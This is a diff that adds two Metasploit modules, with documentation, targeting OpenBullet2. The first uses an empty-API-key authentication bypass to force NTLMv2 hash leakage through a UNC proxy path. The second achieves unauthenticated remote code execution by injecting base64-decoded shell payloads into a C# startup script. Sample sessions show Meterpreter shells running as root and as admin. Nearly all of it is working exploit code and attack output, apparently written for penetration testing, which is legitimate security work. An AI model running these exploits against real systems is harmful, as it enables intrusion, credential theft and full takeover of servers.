diff --git a/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md b/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md new file mode 100644 index 0000000000000..3314a4d3526a7 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md @@ -0,0 +1,53 @@ +## Vulnerable Application + +This Metasploit module exploits a Credential Disclosure vulnerability in OpenBullet2 on Windows. + +An attacker can force the application to disclose the NTLMv2 hash of the process user by configuring a job proxy source with a malicious UNC path. When the job starts, the application attempts to load proxies from the specified path via SMB, allowing the hash to be captured for offline cracking or relaying. + +The affected versions include releases from 0.2.5. + +## Setup + +### Windows + +1. Download [OpenBullet2.Web-win-x64.zip](https://github.com/openbullet/OpenBullet2/releases/download/0.3.3.3093/OpenBullet2.Web-win-x64.zip) and unpack +2. Run +``` +.\OpenBullet2.Web.exe --urls "http://0.0.0.0:5000" +``` + +### Set Authentication + +Authentication is turned off by default. +You need to set it to check bypass. + +1. Go to http://127.0.0.1:5000/settings +2. Click "Change admin password" and set any password +3. Turn "Require admin login" on +4. Save + +## Scenario + +``` +msf > use scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set SRVHOST eth0 +SRVHOST => 192.168.19.153 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RHOST 192.168.19.154 +RHOST => 192.168.19.154 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RPORT 5000 +RPORT => 5000 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > run +[*] Running module against 192.168.19.154 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] OpenBullet2 Instance OS: Microsoft Windows NT 10.0.19044.0 +[+] The target appears to be vulnerable. Detected version 0.3.3.3093, which is vulnerable +[*] Server is running. Listening on 192.168.19.153:445 +[*] The SMB service has been started. +[*] Listening for hashes on 192.168.19.153:445 +[SMB] NTLMv2-SSP Client : 192.168.19.154 +[SMB] NTLMv2-SSP Username : DESKTOP-1E5TEED\admin +[SMB] NTLMv2-SSP Hash : admin::DESKTOP-1E5TEED:[HASH] + +[*] Server stopped. +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/documentation/modules/exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856.md b/documentation/modules/exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856.md new file mode 100644 index 0000000000000..75c3a16cdd860 --- /dev/null +++ b/documentation/modules/exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856.md @@ -0,0 +1,100 @@ +## Vulnerable Application + +This Metasploit module exploits an Unauthenticated Remote Code Execution (RCE) vulnerability in OpenBullet2. + +Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user. + +The affected versions include releases from 0.2.5. + +## Setup + +### Linux + +1. Set up +``` +docker run --name openbullet2 --rm -p 5000:5000 -it openbullet/openbullet2:0.3.2 +``` + +### Windows + +1. Download [OpenBullet2.Web-win-x64.zip](https://github.com/openbullet/OpenBullet2/releases/download/0.3.3.3093/OpenBullet2.Web-win-x64.zip) and unpack +2. Run +``` +.\OpenBullet2.Web.exe --urls "http://0.0.0.0:5000" +``` + +### Set Authentication + +Authentication is turned off by default. +You need to set it to check bypass. + +1. Go to http://127.0.0.1:8069/settings +2. Click "Change admin password" and set any password +3. Turn "Require admin login" on +4. Save + +## Scenario + +### Linux + +``` +msf > use exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856 +[*] Using configured payload +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set target 1 +target => 1 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RPORT 8069 +RPORT => 8069 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set LHOST docker0 +LHOST => 172.17.0.1 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > run +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] OS: Debian GNU/Linux 12 (bookworm) +[+] The target appears to be vulnerable. Detected version 0.3.2, which is vulnerable +[*] Sending stage (3090404 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:40666) at 2026-06-06 06:38:56 -0400 + +meterpreter > sysinfo +Computer : 67393a3c15a2 +OS : Debian 12.7 (Linux 6.18.12+kali-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` + +### Windows + +``` +msf > use exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856 +[*] Using configured payload +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RHOSTS 192.168.19.154 +RHOSTS => 192.168.19.154 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RPORT 5000 +RPORT => 5000 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set target 2 +target => 2 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set LHOST eth0 +LHOST => eth0 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > run +[*] Started reverse TCP handler on 192.168.19.153:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] OS: Microsoft Windows NT 10.0.19044.0 +[+] The target appears to be vulnerable. Detected version 0.3.3.3093, which is vulnerable +[*] Sending stage (232006 bytes) to 192.168.19.154 +[*] Meterpreter session 1 opened (192.168.19.153:4444 -> 192.168.19.154:50388) at 2026-06-06 03:42:13 -0400 + +meterpreter > sysinfo +Computer : DESKTOP-1E5TEED +OS : Windows 10 21H2 (10.0 Build 19044). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: DESKTOP-1E5TEED\admin +``` \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb new file mode 100644 index 0000000000000..00e2546d32fa6 --- /dev/null +++ b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb @@ -0,0 +1,235 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OpenBullet2 NTLMv2 Hash Disclosure via UNC Path Proxy Source', + 'Description' => %q{ + This Metasploit module exploits a Credential Disclosure vulnerability in OpenBullet2 on Windows. + + An attacker can force the application to disclose the NTLMv2 hash of the process user by configuring a job proxy source with a malicious UNC path. + When the job starts, the application attempts to load proxies from the specified path via SMB, allowing the hash to be captured for offline cracking or relaying. + + The affected versions include releases from 0.2.5. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Maksim Rogov', # Vulnerability Discovery & Metasploit Module + ], + 'References' => [ + ['CVE', '2026-25555'], + ['CVE', '2026-39908'], + ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] + ], + 'DisclosureDate' => '2026-06-08', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the OpenBullet2 App', '/']), + ] + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'update'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' } + ) + return Exploit::CheckCode::Unknown("#{peer} - Server did not respond with the expected HTTP 200") unless res&.code == 200 + + json_body = res&.get_json_document + return Exploit::CheckCode::Unknown("#{peer} - Unable to parse JSON response") unless json_body + return Exploit::CheckCode::Unknown("#{peer} - \"currentVersion\" key not found in response") unless json_body.key?('currentVersion') + + version = Rex::Version.new(json_body['currentVersion']) + return Exploit::CheckCode::Safe("Detected version #{version}, which is not vulnerable") if version < Rex::Version.new('0.2.5') + + @target_os = get_server_info + print_status("OpenBullet2 Instance OS: #{@target_os}") + return Exploit::CheckCode::Safe("Detected vulnerable version #{version}, but the target OS is #{@target_os} (Windows-only module)") unless @target_os.to_s.downcase.include?('windows') + + Exploit::CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os})") + end + + def create_config + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' } + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id') + + json_body['id'] + end + + def get_configs + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config', 'all'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' } + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + + json_body + end + + def create_job(config_id, proxy_path) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'multi-run'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { + 'startCondition' => { + '_polyTypeName' => 'relativeTimeStartCondition' + }, + 'configId' => config_id, + 'proxyMode' => 'on', + 'dataPool' => { + '_polyTypeName' => 'rangeDataPool', + 'wordlistType' => 'Default', + 'start' => 1, + 'amount' => 1, + 'step' => 1 + }, + 'proxySources' => [ + { + '_polyTypeName' => 'fileProxySource', + 'fileName' => proxy_path, + 'defaultType' => 'http' + } + ] + }.to_json + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id') + + json_body['id'] + end + + def start_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'start'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { 'jobId' => job_id, 'wait' => false }.to_json + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + end + + def abort_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'abort'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { 'jobId' => job_id, 'wait' => false }.to_json + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + end + + def delete_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: job_id } + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + end + + def delete_config(config_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: config_id } + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + end + + def get_server_info + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'server'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json' + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") unless json_body.key?('operatingSystem') + + json_body['operatingSystem'] + end + + def cleanup + super + delete_config(@config_id) if @config_source == :created + abort_job(@job_id) if @job_id + delete_job(@job_id) if @job_id + end + + def validate_target_os! + target_os = @target_os || get_server_info + unless target_os.to_s.downcase.include?('windows') + fail_with(Failure::NoTarget, "This module only supports Windows targets, but the remote server is running #{target_os}.") + end + end + + def run + validate_target_os! + + configs = get_configs + @config_id, @config_source = configs.empty? ? [create_config, :created] : [configs.sample['id'], :default] + + unc_share = Faker::Lorem.word + unc_fname = Faker::Lorem.word + unc_path = "\\\\#{srvhost}\\#{unc_share}\\#{unc_fname}.txt" + @job_id = create_job(@config_id, unc_path) + + start_smb_capture_server + start_job(@job_id) + + Rex::ThreadSafe.sleep(5) + end + + def start_smb_capture_server + start_service + print_status('The SMB service has been started.') + print_status("Listening for hashes on #{srvhost}:#{srvport}") + end + +end diff --git a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb new file mode 100644 index 0000000000000..ae65513eb17d7 --- /dev/null +++ b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb @@ -0,0 +1,267 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OpenBullet2 Unauthenticated RCE via Config Configuration Interface', + 'Description' => %q{ + This Metasploit module exploits an Unauthenticated Remote Code Execution (RCE) vulnerability in OpenBullet2. + + Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user. + + The affected versions include releases from 0.2.5. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Maksim Rogov', # Vulnerability Discovery & Metasploit Module + ], + 'References' => [ + ['CVE', '2026-25555'], + ['CVE', '2026-25856'], + ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] + ], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'OpenBullet2 >= 0.2.5 / Unix Command', + { + 'Platform' => ['unix', 'linux'], + 'Type' => :unix + # Tested with cmd/unix/reverse_bash + # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'OpenBullet2 >= 0.2.5 / Windows Command', + { + 'Platform' => ['windows'], + 'Type' => :windows, + 'Arch' => [ARCH_CMD] + # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2026-06-08', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the OpenBullet2 App', '/']), + ] + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'update'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' } + ) + return CheckCode::Unknown("#{peer} - Server did not respond with the expected HTTP 200") unless res&.code == 200 + + json_body = res&.get_json_document + return CheckCode::Unknown("#{peer} - Unable to parse JSON response") unless json_body + return CheckCode::Unknown("#{peer} - 'currentVersion' key not found in response") unless json_body.key?('currentVersion') + + version = Rex::Version.new(json_body['currentVersion']) + if version < Rex::Version.new('0.2.5') + return CheckCode::Safe("Detected version #{version}, which is not vulnerable") + end + + @target_os = get_server_info + if target['Type'] == :unix && @target_os.to_s.downcase.include?('windows') + return CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os}), but target is Unix/Linux while the server is running Windows") + elsif target['Type'] == :windows && !@target_os.to_s.downcase.include?('windows') + return CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os}), but target is Windows while the server is running Unix/Linux") + end + + CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os})") + end + + def create_config + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' } + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id') + + json_body['id'] + end + + def update_config(config_id) + prog, args, raw_cmd = case target['Type'] + when :unix + ['/bin/sh', '-c', "echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sh"] + when :windows + ['cmd.exe', '/c', "cmd.exe /c \"#{payload.encoded}\""] + end + + full_cmd_encoded = Rex::Text.encode_base64(raw_cmd) + cmd = <<~CCODE.gsub(/\s*\n\s*/, ' ') + string c = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("#{full_cmd_encoded}")); + var psi = new System.Diagnostics.ProcessStartInfo("#{prog}", "#{args} " + c) { + UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardError = true + }; + System.Diagnostics.Process.Start(psi); + CCODE + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'PUT', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { + 'id' => config_id, + 'metadata' => {}, + 'settings' => {}, + 'startupLoliCodeScript' => cmd + }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def create_job(config_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'multi-run'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { + 'startCondition' => { + '_polyTypeName' => 'relativeTimeStartCondition' + }, + 'configId' => config_id, + 'proxyMode' => 'off', + 'dataPool' => { + '_polyTypeName' => 'rangeDataPool', + 'wordlistType' => 'Default', + 'start' => 1, + 'amount' => 1, + 'step' => 1 + } + }.to_json + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id') + + json_body['id'] + end + + def start_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'start'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { 'jobId' => job_id, 'wait' => false }.to_json + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + end + + def delete_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: job_id } + ) + + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + end + + def delete_config(config_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: config_id } + ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + end + + def get_server_info + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'server'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json' + ) + + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") unless json_body.key?('operatingSystem') + + json_body['operatingSystem'] + end + + def cleanup + super + if @job_id + begin + delete_job(@job_id) + rescue StandardError => e + print_error("Failed to delete job: #{e.message}") + end + end + + if @config_id + begin + delete_config(@config_id) + rescue StandardError => e + print_error("Failed to delete config: #{e.message}") + end + end + end + + def validate_target_os! + target_os = @target_os || get_server_info + + if target['Type'] == :unix && target_os.to_s.downcase.include?('windows') + fail_with(Failure::NoTarget, 'Selected target is Unix/Linux, but the remote server is running Windows. Please change the target') + elsif target['Type'] == :windows && !target_os.to_s.downcase.include?('windows') + fail_with(Failure::NoTarget, 'Selected target is Windows, but the remote server is running Unix/Linux. Please change the target') + end + end + + def exploit + validate_target_os! + + @config_id = create_config + update_config(@config_id) + @job_id = create_job(@config_id) + start_job(@job_id) + end + +end